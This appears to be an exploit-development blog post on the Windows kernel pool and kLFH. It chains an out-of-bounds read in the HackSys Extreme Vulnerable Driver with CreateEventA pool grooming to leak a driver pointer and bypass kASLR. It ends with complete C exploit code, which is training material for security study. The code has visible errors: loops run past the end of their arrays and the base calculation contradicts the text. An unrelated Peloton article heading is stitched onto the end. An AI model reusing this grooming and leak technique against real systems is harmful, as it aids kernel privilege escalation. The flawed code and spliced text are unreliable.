I am writing this blog as I am finishing up an amazing training from HackSys Team. This training finally demystified the pool on Windows for myself - something that I have always shied away from. During the training I picked up a lot of pointers (pun fully intended) on everything from an introduction to the kernel low fragmentation heap (kLFH) to pool grooming. As I use blogging as a mechanism for myself to not only share what I know, but to reinforce concepts by writing about them, I wanted to leverage the HackSys Extreme Vulnerable Driver and the win10-klfh branch (HEVD) to chain together two vulnerabilities in the driver from a low-integrity process - an out-of-bounds read and a pool overflow to achieve an arbitrary read/write primitive. This blog, part 1 of this series, will outline the out-of-bounds read and kASLR bypass from low integrity.

Low integrity processes and AppContainer protected processes, such as a browser sandbox, prevent Windows API calls such as EnumDeviceDrivers and NtQuerySystemInformation, which are commonly leveraged to retrieve the base address for ntoskrnl.exe and/or other drivers for kernel exploitation. This stipulation requires a generic kASLR bypass, as was common in the RS2 build of Windows via GDI objects, or some type of vulnerability. With generic kASLR bypasses now not only being very scarce and far-and-few between, information leaks, such as an out-of-bounds read, are the de-facto standard for bypassing kASLR from something like a browser sandbox.

This blog will touch on the basic internals of the pool on Windows, which is already heavily documented much better than any attempt I can make, the implications of the kFLH, from an exploit development perspective, and leveraging out-of-bounds read vulnerabilities.

Windows Pool Internals - tl;dr Version

This section will cover a bit about some pre-segment heap internals as well as how the segment heap works after 19H1. First, Windows exposes the API ExAllocatePoolWithTag, the main API used for pool allocations, which kernel mode drivers can allocate dynamic memory from, such as malloc from user mode. However, drivers targeting Windows 10 2004 or later, according to Microsoft, must use ExAllocatePool2 instead ofExAllocatePoolWithTag, which has apparently been deprecated. For the purposes of this blog we will just refer to the “main allocation function” as ExAllocatePoolWithTag. One word about the “new” APIs is that they will initialize allocate pool chunks to zero.

Continuing on, ExAllocatePoolWithTag’s prototype can be seen below.

The first parameter of this function is POOL_TYPE, which is of type enumeration, that specifies the type of memory to allocate. These values can be seen below.

Although there are many different types of allocations, notice how all of them, for the most part, are prefaced with NonPagedPool or PagedPool. This is because, on Windows, pool allocations come from these two pools (or they come from the session pool, which is beyond the scope of this post and is leveraged by win32k.sys). In user mode, developers have the default process heap to allocate chunks from or they can create their own private heaps as well. The Windows pool works a little different, as the system predefines two pools (for our purposes) of memory for servicing requests in the kernel. Recall also that allocations in the paged pool can be paged out of memory. Allocations in the non-paged pool will always be paged in memory. This basically means memory in the NonPagedPool/NonPagedPoolNx is always accessible. This caveat also means that the non-paged pool is a more “expensive” resource and should be used accordingly.

As far as pool chunks go, the terminology is pretty much on point with a heap chunk, which I talked about in a previous blog on browser exploitation. Each pool chunk is prepended with a 0x10 byte _POOL_HEADER structure on 64-bit system, which can be found using WinDbg.

This structure contains metadata about the in-scope chunk. One interesting thing to note is that when a _POOL_HEADER structure is freed and it isn’t a valid header, a system crash will occur.

The ProcessBilled member of this structure is a pointer to the _EPROCESS object which made the allocation, but only if PoolQuota was set in the PoolType parameter of ExAllocatePoolWithTag. Notice that at an offset of 0x8 in this structure there is a union member, as it is clean two members reside at offset 0x8.

As a test, let’s set a breakpoint on nt!ExAllocatePoolWithTag. Since the Windows kernel will constantly call this function, we don’t need to create a driver that calls this function, as the system will already do this.

After setting a breakpoint, we can execute the function and examine the return value, which is the pool chunk that is allocated.

Notice how the ProcessBilled member isn’t a valid pointer to an _EPROCESS object. This is because this is a vanilla call to nt!ExAllocatePoolWithTag, without any scheduling quota madness going on, meaning the ProcessBilled member isn’t set. Since the AllocatorBackTraceIndex and PoolTagHash are obviously stored in a union, based on the fact that both the ProcessBilled and AllocatorBackTraceIndex members are at the same offset in memory, the two members AllocatorBackTraceIndex and PoolTagHash are actually “carried over” into the ProcessBilled member. This won’t affect anything, since the ProcessBilled member isn’t accounted for due to the fact that PoolQuota wasn’t set in the PoolType parameter, and this is how WinDbg interprets the memory layout. If the PoolQuota was set, the EPROCESS pointer is actually XOR’d with a random “cookie”, meaning that if you wanted to reconstruct this header you would need to first leak the cookie. This information will be useful later on in the pool overflow vulnerability in part 2, which will not leverage PoolQuota.

Let’s now talk about the segment heap. The segment heap, which was already instrumented in user mode, was implemented into the Windows kernel with the 19H1 build of Windows 10. The “gist” of the segment heap is this: when a component in the kernel requests some dynamic memory, via on the the previously mentioned API calls, there are now a few options, namely four of them, that can service the request. The are:

  1. Low Fragmentation Heap (kLFH)
  2. Variable Size (VS)
  3. Segment Alloc
  4. Large Alloc

Each pool is now managed by a _SEGMENT_HEAP structure, as seen below, which provides references to various “segments” in use for the pool and contains metadata for the pool.

The vulnerabilities mentioned in this blog post will be revolving around the kLFH, so for the purposes of this post I highly recommend reading this paper to find out more about the internals of each allocator and to view Yarden Shafir’s upcoming BlackHat talk on pool internals in the age of the segment heap!

For the purposes of this exploit and as a general note, let’s talk about how the _POOL_HEADER structure is used.

We talked about the _POOL_HEADER structure earlier - but let’s dig a big deeper into that concept to see if/when it is even used when the segment heap is enabled.

Any size allocation that cannot fit into a Variable Size segment allocation will pretty much end up in the kLFH. What is interesting here is that the _POOL_HEADER structure is no longer used for chunks within the VS segment. Chunks allocated using the VS segment are actually preceded prefaces with a header structure called _HEAP_VS_CHUNK_HEADER, which was pointed out to me by my co-worker Yarden Shafir. This structure can be seen in WinDbg.

The interesting fact about the pool headers with the segment heap is that the kLFH, which will be the target for this post, actually still use _POOL_HEADER structures to preface pool chunks.

Chunks allocated by the kLFH and VS segments are are shown below.

Why does this matter? For the purposes of exploitation in part 2, there will be a pool overflow at some point during exploitation. Since we know that pool chunks are prefaced with a header, and because we know that an invalid header will cause a crash, we need to be mindful of this. Using our overflow, we will need to make sure that a valid header is present during exploitation. Since our exploit will be targeting the kLFH, which still uses the standard _POOL_HEADER structure with no encoding, this will prove to be rather trivial later. _HEAP_VS_CHUNK_HEADER, however, performs additional encoding on its members.

The “last piece of this puzzle” is to understand how we can force the system to allocate pool chunks via the kLFH segment. The kLFH services requests that range in size from 1 byte to 16,368 bytes. The kLFH segment is also managed by the _HEAP_LFH_CONTEXT structure, which can be dumped in WinDbg.

The kLFH has “buckets” for each allocation size. The tl;dr here is if you want to trigger the kLFH you need to make 16 consecutive requests to the same size bucket. There are 129 buckets, and each bucket has a “granularity”. Let’s look at a chart to see the determining factors in where an allocation resides in the kLFH, based on size, which was taken from the previously mentioned paper from Corentin and Paul.

This means that any allocation that is a 16 byte granularity (e.g. 1-16 bytes, 17-31 bytes, etc.) up until a 64 byte granularity are placed into buckets 1-64, starting with bucket 1 for allocations of 1-16 bytes, bucket 2 for 17-31 bytes, and so on, up until a 512 byte granularity. Anything larger is either serviced by the VS segment or other various components of the segment heap.

Let’s say we perform a pool spray of objects which are 0x40 bytes and we do this 100 times. We can expect that most of these allocations will get stored in the kLFH, due to the heuristics of 16 consecutive allocations and because the size matches one of the buckets provided by kLFH. This is very useful for exploitation, as it means there is a good chance we can groom the pool with relatively well. Grooming refers to the fact we can get a lot of pool chunks, which we control, lined up adjacently next to each other in order to make exploitation reliable. For example, if we can groom the pool with objects we control, one after the other, we can ensure that a pool overflow will overflow data which we control, leading to exploitation. We will touch a lot more on this in the future.

kLFH also uses these predetermined buckets to manage chunks. This also removes something known as coalescing, which is when the pool manager combines multiple free chunks into a bigger chunk for performance. Now, with the kLFH, because of the architecture, we know that if we free an object in the kLFH, we can expect that the free will remain until it is used again in an allocation for that specific sized chunk! For example, if we are working in bucket 1, which can hold anything from 1 byte to 1008 bytes, and we allocate two objects of the size 1008 bytes and then we free these objects, the pool manager will not combine these slots because that would result in a free chunk of 2016 bytes, which doesn’t fit into the bucket, which can only hold 1-1008 bytes. This means the kLFH will keep these slots free until the next allocation of this size comes in and uses it. This also will be useful later on.

However, what are the drawbacks to the kLFH? Since the kLFH uses predetermined sizes we need to be very luck to have a driver allocate objects which are of the same size as a vulnerable object which can be overflowed or manipulated. Let’s say we can perform a pool overflow into an adjacent chunk as such, in this expertly crafted Microsoft Paint diagram.

If this overflow is happening in a kLFH bucket on the NonPagedPoolNx, for instance, we know that an overflow from one chunk will overflow into another chunk of the EXACT same size. This is because of the kLFH buckets, which predetermine which sizes are allowed in a bucket, which then determines what sizes adjacent pool chunks are. So, in this situation (and as we will showcase in this blog) the chunk that is adjacent to the vulnerable chunk must be of the same size as the chunk and must be allocated on the same pool type, which in this case is the NonPagedPoolNx. This severely limits the scope of objects we can use for grooming, as we need to find objects, whether they are typedef objects from a driver itself or a native Windows object that can be allocated from user mode, that are the same size as the object we are overflowing. Not only that, but the object must also contain some sort of interesting member, like a function pointer, to make the overflow worthwhile. This means now we need to find objects that are capped at a certain size, allocated in the same pool, and contain something interesting.

The last thing to say before we get into the out-of-bounds read is that some of the elements of this exploit are slightly contrived to outline successful exploitation. I will say, however, I have seen drivers which allocate pool memory, let unauthenticated clients specify the size of the allocation, and then return the contents to user mode - so this isn’t to say that there are not poorly written drivers out there. I do just want to call out, however, this post is more about the underlying concepts of pool exploitation in the age of the segment heap versus some “new” or “novel” way to bypass some of the stipulations of the segment heap. Now, let’s get into exploitation.

From Out-Of-Bounds-Read to kASLR bypass - Low-Integrity Exploitation

Let’s take a look at the file in HEVD called MemoryDisclosureNonPagedPoolNx.c. We will start with the code and eventually move our way into dynamic analysis with WinDbg.

The above snippet of code is a function which is defined as TriggerMemoryDisclosureNonPagedPoolNx. This function has a return type of NTSTATUS. This code invokes ExAllocatePoolWithTag and creates a pool chunk on the NonPagedPoolNx kernel pool of size POOL_BUFFER_SIZE and with the pool tag POOL_TAG. Tracing the value of POOL_BUFFER_SIZE in MemoryDisclosureNonPagedPoolNx.h, which is included in the MemoryDisclosureNonPagedPoolNx.c file, we can see that the pool chunk allocated here is 0x70 bytes in size. POOL_TAG is also included in Common.h as kcaH, which is more humanly readable as Hack.

After the pool chunk is allocated in the NonPagedPoolNx it is filled with 0x41 characters, 0x70 of them to be precise, as seen in the call to RtlFillMemory. There is no vulnerability here yet, as nothing so far is influenced by a client invoking an IOCTL which would reach this routine. Let’s continue down the code to see what happens.

After initializing the buffer to a value of 0x70 0x41 characters, the first defined parameter in TriggerMemoryDisclosureNonPagedPoolNx, which is PVOID UserOutputBuffer, is part of a ProbeForWrite routine to ensure this buffer resides in user mode. Where does UserOutputBuffer come from (besides it’s obvious name)? Let’s view where the function TriggerMemoryDisclosureNonPagedPoolNx is actually invoked from, which is at the end of MemoryDisclosureNonPagedPoolNx.c.

We can see that the first argument passed to TriggerMemoryDisclosureNonPagedPoolNx, which is the function we have been analyzing thus far, is passed an argument called UserOutputBuffer. This variable comes from the I/O Request Packet (IRP) which was passed to the driver and created by a client invoking DeviceIoControl to interact with the driver. More specifically, this comes from the IO_STACK_LOCATION structure, which always accompanies an IRP. This structure contains many members and data used by the IRP to pass information to the driver. In this case, the associated IO_STACK_LOCATION structure contains most of the parameters used by the client in the call to DeviceIoControl. The IRP structure itself contains the UserBuffer parameter, which is actually the output buffer supplied by a client using DeviceIoControl. This means that this buffer will be bubbled back up to user mode, or any client for that matter, which sends an IOCTL code that reaches this routine. I know this seems like a mouthful right now, but I will give the “tl;dr” here in a second.

Essentially what happens here is a user-mode client can specify a size and a buffer, which will get used in the call to TriggerMemoryDisclosureNonPagedPoolNx. Let’s then take a quick look back at the image from two images ago, which has again been displayed below for brevity.

Skipping over the #ifdef SECURE directive, which is obviously what a “secure” driver should use, we can see that if the allocation of the pool chunk we previously mentioned, which is of size POOL_BUFFER_SIZE, or 0x70 bytes, is successful - the contents of the pool chunk are written to the UserOutputBuffer variable, which will be returned to the client invoking DeviceIoControl, and the amount of data copied to this buffer is actually decided by the client via the nOutBufferSize parameter.

What is the issue here? ExAllocatePoolWithTag will allocate a pool chunk based on the size provided here by the client. The issue is that the developer of this driver is not just copying the output to the UserOutputBuffer parameter but that the call to RtlCopyMemory allows the client to decide the amount of bytes written to the UserOutputBuffer parameter. This isn’t an issue of a buffer overflow on the UserOutputBuffer part, as we fully control this buffer via our call to DeviceIoControl, and can make it a large buffer to avoid it being overflowed. The issue is the second and third parameter.

The pool chunk allocated in this case is 0x70 bytes. If we look at the #ifdef SECURE directive, we can see that the KernelBuffer created by the call to ExAllocatePoolWithTag is copied to the UserOutputBuffer parameter and NOTHING MORE, as defined by the POOL_BUFFER_SIZE parameter. Since the allocation created is only POOL_BUFFER_SIZE, we should only allow the copy operation to copy this many bytes.

If a size greater than 0x70, or POOL_BUFFER_SIZE, is provided to the RtlCopyMemory function, then the adjacent pool chunk right after the KernelBuffer pool chunk would also be copied to the UserOutputBuffer. The below diagram outlines.

If the size of the copy operation is greater than the allocation size of0x70 bytes, the number of bytes after 0x70 are taken from the adjacent chunk and are also bubbled back up to user mode. In the case of supplying a value of 0x100 in the size parameter, which is controllable by the caller, the 0x70 bytes from the allocation would be copied back into user and the next 0x30 bytes from the adjacent chunk would also be copied back into user mode. Let’s verify this in WinDbg.

For brevity sake, the routine to reach this code is via the IOCTL 0x0022204f. Here is the code we are going to send to the driver.

We can start by setting a breakpoint on HEVD!TriggerMemoryDisclosureNonPagedPoolNx

Per the __fastcall calling convention the two arguments passed to TriggerMemoryDisclosureNonPagedPoolNx will be in RCX (the UserOutputBuffer) parameter and RDX (the size specified by us). Dumping the RCX register, we can see the 70 bytes that will hold the allocation.

We can then set a breakpoint on the call to nt!ExAllocatePoolWithTag.

After executing the call, we can then inspect the return value in RAX.

Interesting! We know the IOCTL code in this case allocated a pool chunk of 0x70 bytes, but every allocation in the pool our chunk resides in, which is denoted with the asterisk above, is actually 0x80 bytes. Remember - each chunk in the kLFH is prefaced with a _POOL_HEADER structure. We can validate this below by ensuring the offset to the PoolTag member of _POOL_HEADER is successful.

The total size of this pool chunk with the header is 0x80 bytes. Recall earlier when we spoke about the kLFH that this size allocation would fall within the kLFH! We know the next thing the code will do in this situation is to copy 0x41 values into the newly allocated chunk. Let’s set a breakpoint on HEVD!memset, which is actually just what the RtlFillMemory macro defaults to.

Inspecting the return value, we can see the buffer was initialized to 0x41 values.

The next action, as we can recall, is the copying of the data from the newly allocated chunk to user mode. Setting a breakpoint on the HEVD!memcpy call, which is the actual function the macro RtlCopyMemory will call, we can inspect RCX, RDX, and R8, which will be the destination, source, and size respectively.

Notice the value in RCX, which is a user-mode address (and the address of our output buffer supplied by DeviceIoControl), is different than the original value shown. This is simply because I had to re-run the POC trigger between the original screenshot and the current. Other than that, nothing else has changed.

After stepping through the memcpy call we can clearly see the contents of the pool chunk are returned to user mode.

Perfect! This is expected behavior by the driver. However, let’s try increasing the size of the output buffer and see what happens, per our hypothesis on this vulnerability. This time, let’s set the output buffer to 0x100.

This time, let’s just inspect the memcpy call.

Take note of the above highlighted content after the 0x41 values.

Let’s now check out the pool chunks in this pool and view the adjacent chunk to our Hack pool chunk.

Last time we performed the IOCTL invocation only values of 0x41 were bubbled back up to user mode. However, recall this time we specified a value of 0x100. This means this time we should also be returning the next 0x30 bytes after the Hack pool chunk back to user mode. Taking a look at the previous image, which shows that the direct next chunk after the Hack chunk is 0xffffe48f4254fb00, which contains a value of 6c54655302081b00 and so on, which is the _POOL_HEADER for the next chunk, as seen below.

These 0x10 bytes, plus the next 0x20 bytes should be returned to us in user mode, as we specified we want to go beyond the bounds of the pool chunk, hence an “out-of-bounds read”. Executing the POC, we can see this is the case!

Awesome! We can see, minus some of the endianness madness that is occurring, we have successfully read memory from the adjacent chunk! This is very useful, but remember what our goal is - we want to bypass kASLR. This means we need to leak some sort of pointer either from the driver or ntoskrnl.exe itself. How can we achieve this if all we can leak is the next adjacent pool chunk? To do this, we need to perform some additional steps to ensure that, while we are in the kLFH segment, that the adjacent chunk(s) always contain some sort of useful pointer that can be leaked by us. This process is called “pool grooming”

Taking The Dog To The Groomer

Up until this point we know we can read data from adjacent pool chunks, but as of now there isn’t really anything interesting next to these chunks. So, how do we combat this? Let’s talk about a few assumptions here:

  1. We know that if we can choose an object to read from, this object will need to be 0x70 bytes in size (0x80 when you include the _POOL_HEADER)
  2. This object needs to be allocated on the NonPagedPoolNx directly after the chunk allocated by HEVD in MemoryDisclosureNonPagedPoolNx
  3. This object needs to contain some sort of useful pointer

How can we go about doing this? Let’s sort of visualize what the kLFH does in order to service requests of 0x70 bytes (technically 0x80 with the header). Please note that the following diagram is for visual purposes only.

As we can see, there are several free slots within this specific page in the pool. If we allocated an object of size 0x80 (technically 0x70, where the _POOL_HEADER is dynamically created) we have no way to know, or no way to force the allocation to occur at a predictable location. That said, the kLFH may not even be enabled at all, due to the heuristic requirement of 16 consecutive allocations to the same size. Where does this leave us? Well, what we can do is to first make sure the kLFH is enabled and then also to “fill” all of the “holes”, or freed allocations currently, with a set of objects. This will force the memory manager to allocate a new page entirely to service new allocations. This process of the memory manager allocating a new page for future allocations within the the kLFH bucket is ideal, as it gives us a “clean slate” to start on without random free chunks that could be serviced at random intervals. We want to do this before we invoke the IOCTL which triggers the TriggerMemoryDisclosureNonPagedPoolNx function in MemoryDisclosureNonPagedPoolNx.c. This is because we want the allocation for the vulnerable pool chunk, which will be the same size as the objects we use for “spraying” the pool to fill the holes, to end up in the same page as the sprayed objects we have control over. This will allow us to groom the pool and make sure that we can read from a chunk that contains some useful information.

Let’s recall the previous image which shows where the vulnerable pool chunk ends up currently.

Organically, without any grooming/spraying, we can see that there are several other types of objects in this page. Notably we can see several Even tags. This tag is actually a tag used for an object created with a call to CreateEvent, a Windows API, which can actually be invoked from user mode. The prototype can be seen below.

This function returns a handle to the object, which is a technically a pool chunk in kernel mode. This is reminiscent of when we obtain a handle to the driver for the call to CreateFile. The handle is an intermediary object that we can interact with from user mode, which has a kernel mode component.

Let’s update the code to leverage CreateEventA to spray an arbitrary amount of objects, 5000.

After executing the newly updated code and after setting a breakpoint on the copy location, with the vulnerable pool chunk, take a look at the state of the page which contains the pool chunk.

This isn’t in an ideal state yet, but notice how we have influenced the page’s layout. We can see now that there are many free objects and a few event objects. This is reminiscent behavior of us getting a new page for our vulnerable chunk to go, as our vulnerable chunk is prefaces with several event objects, with our vulnerable chunk being allocated directly after. We can also perform additional analysis by inspecting the previous page (recall that for our purposes on this 64-bit Windows 10 install a page is 0x1000 bytes, of 4KB).

It seems as though all of the previous chunks that were free have been filled with event objects!

Notice, though, that the pool layout is not perfect. This is due to other components of the kernel also leveraging the kLFH bucket for 0x70 byte allocations (0x80 with the _POOL_HEADER).

Now that we know we can influence the behavior of the pool from spraying, the goal now is to now allocate the entire new page with event objects and then free every other object in the page we control in the new page. This will allow us to then, right after freeing every other object, to create another object of the same size as the event object(s) we just freed. By doing this, the kLFH, due to optimization, will fill the free slots with the new objects we allocate. This is because the current page is the only page that should have free slots available in the NonPagedPoolNx for allocations that are being serviced by the kLFH for size 0x70 (0x80 including the header).

We would like the pool layout to look like this (for the time being):

EVENT_OBJECT | NEWLY_CREATED_OBJECT | EVENT_OBJECT | NEWLY_CREATED_OBJECT | EVENT_OBJECT | NEWLY_CREATED_OBJECT | EVENT_OBJECT | NEWLY_CREATED_OBJECT 

So what kind of object would we like to place in the “holes” we want to poke? This object is the one we want to leak back to user mode, so it should contain either valuable kernel information or a function pointer. This is the hardest/most tedious part of pool corruption, is finding something that is not only the size needed, but also contains valuable information. This especially bodes true if you cannot use a generic Windows object and need to use a structure that is specific to a driver.

In any event, this next part is a bit “simplified”. It will take a bit of reverse engineering/debugging to calls that allocate pool chunks for objects to find a suitable candidate. The way to approach this, at least in my opinion, would be as follows:

  1. Identify calls to ExAllocatePoolWithTag, or similar APIs
  2. Narrow this list down by finding calls to the aforementioned API(s) that are allocated within the pool you are able to corrupt (e.g. if I have a vulnerability on the NonPagedPoolNx, find an allocation on the NonPagedPoolNx)
  3. Narrow this list further by finding calls that perform the before sentiments, but for the given size pool chunk you need
  4. If you have made it this far, narrow this down further by finding an object with all of the before attributes and with an interesting member, such as a function pointer

However, slightly easier because we can use the source code, let’s find a suitable object within HEVD. In HEVD there is an object which contains a function pointer, called USE_AFTER_FREE_NON_PAGED_POOL_NX. It is constructed as such, within UseAfterFreeNonPagedPoolNx.h

This structure is used in a function call within UseAfterFreeNonPagedPoolNx.c and the Buffer member is initialized with 0x41 characters.

The Callback member, which is of type FunctionCallback and is defined as such in Common.h: typedef void (*FunctionPointer)(void);, is set to the memory address of UaFObjectCallbackNonPagedPoolNx, which a function located in UseAfterFreeNonPagedPoolNx.c shown two images ago! This means a member of this structure will contain a function pointer within HEVD, a kernel mode address. We know by the name that this object will be allocated on the NonPagedPoolNx, but you could still validate this by performing static analysis on the call to ExAllocatePoolWithTag to see what value is specified for POOL_TYPE.

This seems like a perfect candidate! The goal will be to leak this structure back to user mode with the out-of-bounds read vulnerability! The only factor that remains is size - we need to make sure this object is also 0x70 bytes in size, so it lands within the same pool page we control.

Let’s test this in WinDbg. In order to reach the AllocateUaFObjectNonPagedPoolNx function we need to interact with the IOCTL handler for this particular routine, which is defined in NonPagedPoolNx.c.

The IOCTL code needed to reach this routine, for brevity, is 0x00222053. Let’s set a breakpoint on HEVD!AllocateUaFObjectNonPagedPoolNx in WinDbg, issue a DeviceIoControl call to this IOCTL without any buffers, and see what size is being used in the call to ExAllocatePoolWithTag to allocate this object.

Perfect! Slightly contrived, but nonetheless true, the object being created here is also 0x70 bytes (without the _POOL_HEADER structure) - meaning this object should be allocated adjacent to any free slots within the page our event objects live! Let’s update our POC to perform the following:

  1. Free every other event object
  2. Replace every other event object (5000/2 = 2500) with a USE_AFTER_FREE_NON_PAGED_POOL_NX object

Using the memcpy routine (RtlCopyMemory) from the original routine for the out-of-bounds read IOCTL invocation into the vulnerable pool chunk, we can inspect the target pool chunk used in the copy operation, which will be the chunk bubbled back up to user mode, which could showcase that our event objects are now adjacent to multiple USE_AFTER_FREE_NON_PAGED_POOL_NX objects.

We can see that the Hack tagged chunks, which are USE_AFTER_FREE_NON_PAGED_POOL_NX chunks, are pretty much adjacent with the event objects! Even if not every object is perfectly adjacent to the previous event object, this is not a worry to us because the vulnerability allows us to specify how much of the data from the adjacent chunks we would like to return to user mode anyways. This means we could specify an arbitrary amount, such as 0x1000, and that is how many bytes would be returned from the adjacent chunks.

Since there are many chunks which are adjacent, it will result in an information leak. The reason for this is because the kLFH has a bit of “funkiness” going on. This isn’t necessarily due to any sort of kLFH “randomization”, I found out after talking with my colleague Yarden Shafir, where the free chunks will be/where the allocations will occur, but due to the complexity of the subsegment locations, caching, etc. Things can get complex quite quickly. This is beyond the scope of this blog post.

The only time this becomes an issue, however, is when clients can read out-of-bounds but cannot specify how many bytes out-of-bounds they can read. This would result in exploits needing to run a few times in order to leak a valid kernel address, until the chunks become adjacent. However, someone who is better at pool grooming than myself could easily figure this out I am sure :).

Now that we can groom the pool decently enough, the next step is to replace the rest of the event objects with vulnerable objects from the out-of-bounds read vulnerability! The desired layout of the pool will be this:

VULNERABLE_OBJECT | USE_AFTER_FREE_NON_PAGED_POOL_NX | VULNERABLE_OBJECT | USE_AFTER_FREE_NON_PAGED_POOL_NX | VULNERABLE_OBJECT | USE_AFTER_FREE_NON_PAGED_POOL_NX | VULNERABLE_OBJECT | USE_AFTER_FREE_NON_PAGED_POOL_NX 

Why do we want this to be the desired layout? Each of the VULNERABLE_OBJECTS can read additional data from adjacent chunks. Since (theoretically) the next adjacent chunk should be USE_AFTER_FREE_NON_PAGED_POOL_NX, we should be returning this entire chunk to user mode. Since this structure contains a function pointer in HEVD, we can then bypass kASLR by leaking a pointer from HEVD! To do this, we will need to perform the following steps:

  1. Free the rest of the event objects
  2. Perform a number of calls to the IOCTL handler for allocating vulnerable chunks

For step two, we don’t want to perform 2500 DeviceIoControl calls, as there is potential for the one of the last memory address in the page to be set to one of our vulnerable objects. If we specify we want to read 0x1000 bytes, and if our vulnerable object is at the end of the last valid page for the pool, it will try reading from the address 0x1000 bytes away, which may reside in a page which is not currently committed to memory, causing a DOS by referencing invalid memory. To compensate for this, we only want to allocate 100 vulnerable objects, as one of them will almost surely be allocated in an adjacent block to a USE_AFTER_FREE_NON_PAGED_POOL_NX object.

To do this, let’s update the code as follows.

After freeing the event objects and reading back data from adjacent chunks, a for loop is instituted to parse the output for anything that is sign extended (a kernel-mode address). Since the output buffer will be returned in an unsigned long long array, the size of a 64-bit address, and since the address we want to leak from is the first member of the adjacent chunk, after the leaked _POOL_HEADER, it should be placed into a clean 64-bit variable, and therefore easily parsed. Once we have leaked the address of the pointer to the function, we then can calculate the distance from the function to the base of HEVD, add the distance, and then obtain the base of HEVD!

Executing the final exploit, leveraging the same breakpoint on final HEVD!memcpy call (remember, we are executing 100 calls to the final DeviceIoControl routine, which invokes the RtlCopyMemory routine, meaning we need to step through 99 times to hit the final copy back into user mode), we can see the layout of the pool.

The above image is a bit difficult to decipher, given that both the vulnerable chunks and the USE_AFTER_FREE_NON_PAGED_POOL_NX chunks both have Hack tags. However, if we take the adjacent chunk to the current chunk, which is a vulnerable chunk we can read past and denoted by an asterisk, and after parsing it as a USE_AFTER_FREE_NON_PAGED_POOL_NX object, we can see clearly that this object is of the correct type and contains a function pointer within HEVD!

We can then subtract the distance from this function pointer to the base of HEVD, and update our code accordingly. We can see the distance is 0x880cc, so adding this to the code is trivial.

After performing the calculation, we can see we have bypassed kASLR, from low integrity, without any calls to EnumDeviceDrivers or similar APIs!

The final code can be seen below.

// HackSysExtreme Vulnerable Driver: Pool Overflow/Memory Disclosure
// Author: Connor McGarr(@33y0re)

// Vulnerability description: Arbitrary read primitive
// User-mode clients have the ability to control the size of an allocated pool chunk on the NonPagedPoolNx
// This pool chunk is 0x80 bytes (including the header)
// There is an object, a UafObject created by HEVD, that is 0x80 bytes in size (including the header) and contains a function pointer that is to be read -- this must be used due to the kLFH, which is only groomable for sizes in the same bucket
// CreateEventA can be used to allocate 0x80 byte objects, including the size of the header, which can also be used for grooming

#include <windows.h>
#include <stdio.h>

// Fill the holes in the NonPagedPoolNx of 0x80 bytes
void memLeak(HANDLE driverHandle)
{
  // Array to manage handles opened by CreateEventA
  HANDLE eventObjects[5000];

  // Spray 5000 objects to fill the new page
  for (int i = 0; i <= 5000; i++)
  {
    // Create the objects
    HANDLE tempHandle = CreateEventA(
      NULL,
      FALSE,
      FALSE,
      NULL
    );

    // Assign the handles to the array
    eventObjects[i] = tempHandle;
  }

  // Check to see if the first handle is a valid handle
  if (eventObjects[0] == NULL)
  {
    printf("[-] Error! Unable to spray CreateEventA objects! Error: 0x%lx\n", GetLastError());
    exit(-1);
  }
  else
  {
    printf("[+] Sprayed CreateEventA objects to fill holes of size 0x80!\n");

    // Close half of the handles
    for (int i = 0; i <= 5000; i += 2)
    {
      BOOL tempHandle1 = CloseHandle(
        eventObjects[i]
      );

      eventObjects[i] = NULL;

      // Error handling
      if (!tempHandle1)
      {
        printf("[-] Error! Unable to free the CreateEventA objects! Error: 0x%lx\n", GetLastError());
        exit(-1);
      }
    }

    printf("[+] Poked holes in the new pool page!\n");

    // Allocate UaF Objects in place of the poked holes by just invoking the IOCTL, which will call ExAllocatePoolWithTag for a UAF object
    // kLFH should automatically fill the freed holes with the UAF objects
    DWORD bytesReturned;

    for (int i = 0; i < 2500; i++)
    {
      DeviceIoControl(
        driverHandle,
        0x00222053,
        NULL,
        0,
        NULL,
        0,
        &bytesReturned,
        NULL
      );
    }

    printf("[+] Allocated objects containing a pointer to HEVD in place of the freed CreateEventA objects!\n");

    // Close the rest of the event objects
    for (int i = 1; i <= 5000; i += 2)
    {
      BOOL tempHandle2 = CloseHandle(
        eventObjects[i]
      );

      eventObjects[i] = NULL;

      // Error handling
      if (!tempHandle2)
      {
        printf("[-] Error! Unable to free the rest of the CreateEventA objects! Error: 0x%lx\n", GetLastError());
        exit(-1);
      }
    }

    // Array to store the buffer (output buffer for DeviceIoControl) and the base address
    unsigned long long outputBuffer[100];
    unsigned long long hevdBase;

    // Everything is now, theoretically, [FREE, UAFOBJ, FREE, UAFOBJ, FREE, UAFOBJ], barring any more randomization from the kLFH
    // Fill some of the holes, but not all, with vulnerable chunks that can read out-of-bounds (we don't want to fill up all the way to avoid reading from a page that isn't mapped)

    for (int i = 0; i <= 100; i++)
    {
      // Return buffer
      DWORD bytesReturned1;

      DeviceIoControl(
        driverHandle,
        0x0022204f,
        NULL,
        0,
        &outputBuffer,
        sizeof(outputBuffer),
        &bytesReturned1,
        NULL
      );

    }

    printf("[+] Successfully triggered the out-of-bounds read!\n");

    // Parse the output
    for (int i = 0; i <= 100; i++)
    {
      // Kernel mode address?
      if ((outputBuffer[i] & 0xfffff00000000000) == 0xfffff00000000000)
      {
        printf("[+] Address of function pointer in HEVD.sys: 0x%llx\n", outputBuffer[i]);
        printf("[+] Base address of HEVD.sys: 0x%llx\n", outputBuffer[i] - 0x880CC);

        // Store the variable for future usage
        hevdBase = outputBuffer[i] + 0x880CC;
        break;
      }
    }
  }
}

void main(void)
{
  // Open a handle to the driver
  printf("[+] Obtaining handle to HEVD.sys...\n");

  HANDLE drvHandle = CreateFileA(
    "\\\\.\\HackSysExtremeVulnerableDriver",
    GENERIC_READ | GENERIC_WRITE,
    0x0,
    NULL,
    OPEN_EXISTING,
    0x0,
    NULL
  );

  // Error handling
  if (drvHandle == (HANDLE)-1)
  {
    printf("[-] Error! Unable to open a handle to the driver. Error: 0x%lx\n", GetLastError());
    exit(-1);
  }
  else
  {
    memLeak(drvHandle);
  }
}

Conclusion

Kernel exploits from browsers, which are sandboxed, require such leaks to perform successful escalation of privileges. In part two of this series we will combine this bug with HEVD’s pool overflow vulnerability to achieve a read/write primitive and perform successful EoP! Please feel free to reach out with comments, questions, or corrections!

Peace, love, and positivity :-)

A New Program for Your Peloton – Whether You Like It or Not

By: Sam Quinn
16 June 2021 at 04:01
Connected Fitness

Executive Summary 

